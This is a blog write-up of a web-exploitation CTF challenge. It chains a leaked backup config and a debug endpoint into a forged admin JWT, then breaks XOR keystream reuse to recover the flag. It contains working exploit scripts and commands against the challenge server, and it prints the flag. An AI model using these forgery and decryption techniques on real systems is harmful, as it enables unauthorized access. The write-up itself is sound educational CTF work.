721 words
4 minutes
ApoorvCTF 2026 - Days Of Future Past - Web Exploitation Writeup

Category: Web Exploitation Flag: apoorvctf{3v3ry_5y573m_h45_4_w34kn355}

Challenge Description#

CryptoVault - Secure Message Storage Platform. So can you get the secure message from the military grade security provided by our platform.

Analysis#

The app looked like a normal login/register Flask frontend at first, but the homepage immediately leaked deployment breadcrumbs in HTML comments. That gave the whole solve path very quickly.

curl -sL "http://chals1.apoorvctf.xyz:8001/"
<!-- Powered by CryptoVault API v1 -->
<!-- Internal build: 1.0.3-dev -->
<!-- Debug endpoint available at /api/v1/health for system status -->
...
<!-- Developer Notes:
     - API Base: /api/v1/
     - Backup config was moved to /backup/ directory
     - Old JS app bundle still references config paths, clean up later
     - See /static/js/app.js for frontend API integration
-->

That was already suspicious, and robots.txt confirmed hidden routes worth testing.

curl -s "http://chals1.apoorvctf.xyz:8001/robots.txt"
# CryptoVault Crawler Rules
User-agent: *
Disallow: /backup/
Disallow: /api/v1/debug
Disallow: /api/v1/internal/

The frontend JavaScript made it even more direct by hardcoding a backup config path and explicitly hinting that debug auth material is in backup files.

curl -sL "http://chals1.apoorvctf.xyz:8001/static/js/app.js"
const API_CONFIG = {
    apiBase: '/api/v1',
    backupConfig: '/backup/config.json.bak',
};
...
console.log('  - /debug (requires API key from backup config)');

At that point, grabbing the backup file was the intended vulnerability: exposed sensitive configuration in a web-accessible backup path.

curl -sL "http://chals1.apoorvctf.xyz:8001/backup/config.json.bak"
{"api_key":"d3v3l0p3r_acc355_k3y_2024","app_name":"CryptoVault","database":"sqlite:///cryptovault.db","debug_mode":true,"internal_endpoints":["/api/v1/debug","/api/v1/health","/api/v1/vault/messages"],"jwt_algorithm":"HS256","notes":"Remember to rotate the API key before production deployment!","version":"1.0.3-internal"}

Using that API key against debug leaked the JWT derivation hint and vault internals. This was the second major weakness: debug endpoint left enabled in production with high-value secrets.

curl -sL -H "X-API-Key: d3v3l0p3r_acc355_k3y_2024" "http://chals1.apoorvctf.xyz:8001/api/v1/debug"
{"debug_info":{"auth_config":{"algorithm":"HS256","roles":["viewer","editor","admin"],"secret_derivation_hint":"Company name (lowercase) concatenated with founding year","secret_key_hash_sha256":"e53e6e2d3018dce302f876eda97d3852f5f1a81192a5f947ed89da9832ea17b8","token_expiry_hours":2},"company_info":{"domain":"cryptovault.io","founded":2026,"name":"CryptoVault"},"framework":"Flask","python_version":"3.11.x","server":"CryptoVault v1.0.3","vault_info":{"access_level_required":"admin","encryption_method":"XOR stream cipher","endpoint":"/api/v1/vault/messages","total_encrypted_messages":15},"warning":"This debug endpoint should be disabled in production!"}}

From this, the secret becomes cryptovault2026 (cryptovault + 2026). Forging an admin JWT worked on the first try, which was very satisfying.

smile

I used that forged token to fetch all encrypted vault messages.

# exploit_vault.py
import re
import jwt
import requests

BASE = "http://chals1.apoorvctf.xyz:8001"
SECRET = "cryptovault2026"

payload = {"username": "admin", "role": "admin"}
token = jwt.encode(payload, SECRET, algorithm="HS256")
headers = {"Authorization": f"Bearer {token}"}

resp = requests.get(f"{BASE}/api/v1/vault/messages", headers=headers, timeout=15)
print(f"status={resp.status_code}")
print(resp.text)

m = re.search(r"[A-Za-z0-9_]+\{[^}]+\}", resp.text)
if m:
    print(f"FLAG_FOUND={m.group(0)}")
python exploit_vault.py
status=200
{"access_level":"admin","message":"Military secure vault accessed","messages":[{"ciphertext_hex":"f1a7...","id":1,...},{"ciphertext_hex":"e6a1...","id":2,...}, ... ]}

That still only gave ciphertexts. The annoying part was that many decrypted fragments looked like plausible flags but were distractions, and the challenge title/description really leaned into that misdirection.

tableflip

The final break came from treating it as a multi-time-pad XOR stream reuse problem and recovering per-position key bytes by scoring printable English over all ciphertext columns. Running the recovery script surfaced the sentence containing the real flag and printed an exact regex match.

python recover_flag_exact.py
[+] Decrypted messages (best-effort):
...
13: ... the real flag is apoorvctf{3v3ry_5y573m_h45_4_w34kn355} and all others are distractions ...

FLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}

So the core vulnerability chain was exposed backup config -> debug data leak -> JWT forgery -> admin vault access, followed by cryptanalysis of reused XOR keystream across multiple ciphertexts.

Solution#

# recover_flag_exact.py
import re
import string
import jwt
import requests

BASE = "http://chals1.apoorvctf.xyz:8001"
SECRET = "cryptovault2026"

CHAR_SCORES = {
    " ": 4.5,
    "e": 3.5, "t": 3.2, "a": 3.0, "o": 2.9, "i": 2.8, "n": 2.8,
    "s": 2.6, "r": 2.6, "h": 2.5, "l": 2.3, "d": 2.1, "u": 2.0,
    "c": 2.0, "m": 1.9, "f": 1.8, "w": 1.8, "g": 1.7, "y": 1.7,
    "p": 1.6, "b": 1.5, "v": 1.4, "k": 1.2, "x": 0.8, "j": 0.6,
    "q": 0.5, "z": 0.5,
}

ALLOWED = set(string.printable) - set("\t\n\r\x0b\x0c")


def char_score(ch: str) -> float:
    if ch not in ALLOWED:
        return -20.0
    if ch in CHAR_SCORES:
        return CHAR_SCORES[ch]
    cl = ch.lower()
    if cl in CHAR_SCORES:
        return CHAR_SCORES[cl] - 0.3
    if ch.isdigit():
        return 1.0
    if ch in "{}_-.,:;!?'/()*":
        return 0.8
    return 0.2


def main():
    token = jwt.encode(
        {"username": "admin", "role": "admin"}, SECRET, algorithm="HS256"
    )
    r = requests.get(
        f"{BASE}/api/v1/vault/messages",
        headers={"Authorization": f"Bearer {token}"},
        timeout=15,
    )
    r.raise_for_status()
    cts = [bytes.fromhex(m["ciphertext_hex"]) for m in r.json()["messages"]]
    maxlen = max(len(c) for c in cts)

    key = [0] * maxlen
    for pos in range(maxlen):
        column = [c[pos] for c in cts if pos < len(c)]
        best_k = 0
        best_score = -(10**9)
        for k in range(256):
            s = 0.0
            for cb in column:
                s += char_score(chr(cb ^ k))
            if s > best_score:
                best_score = s
                best_k = k
        key[pos] = best_k

    plains = []
    for c in cts:
        p = "".join(chr(c[i] ^ key[i]) for i in range(len(c)))
        plains.append(p)

    print("[+] Decrypted messages (best-effort):")
    for i, p in enumerate(plains, 1):
        print(f"{i:02d}: {p}")

    blob = "\n".join(plains)
    m = re.search(r"apoorvctf\{[^}]+\}", blob)
    if m:
        print(f"\nFLAG_FOUND={m.group(0)}")
    else:
        print("\nNo exact flag regex recovered yet.")


if __name__ == "__main__":
    main()
python recover_flag_exact.py
FLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}
ApoorvCTF 2026 - Days Of Future Past - Web Exploitation Writeup
https://blog.rei.my.id/posts/115/apoorvctf-2026-days-of-future-past-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0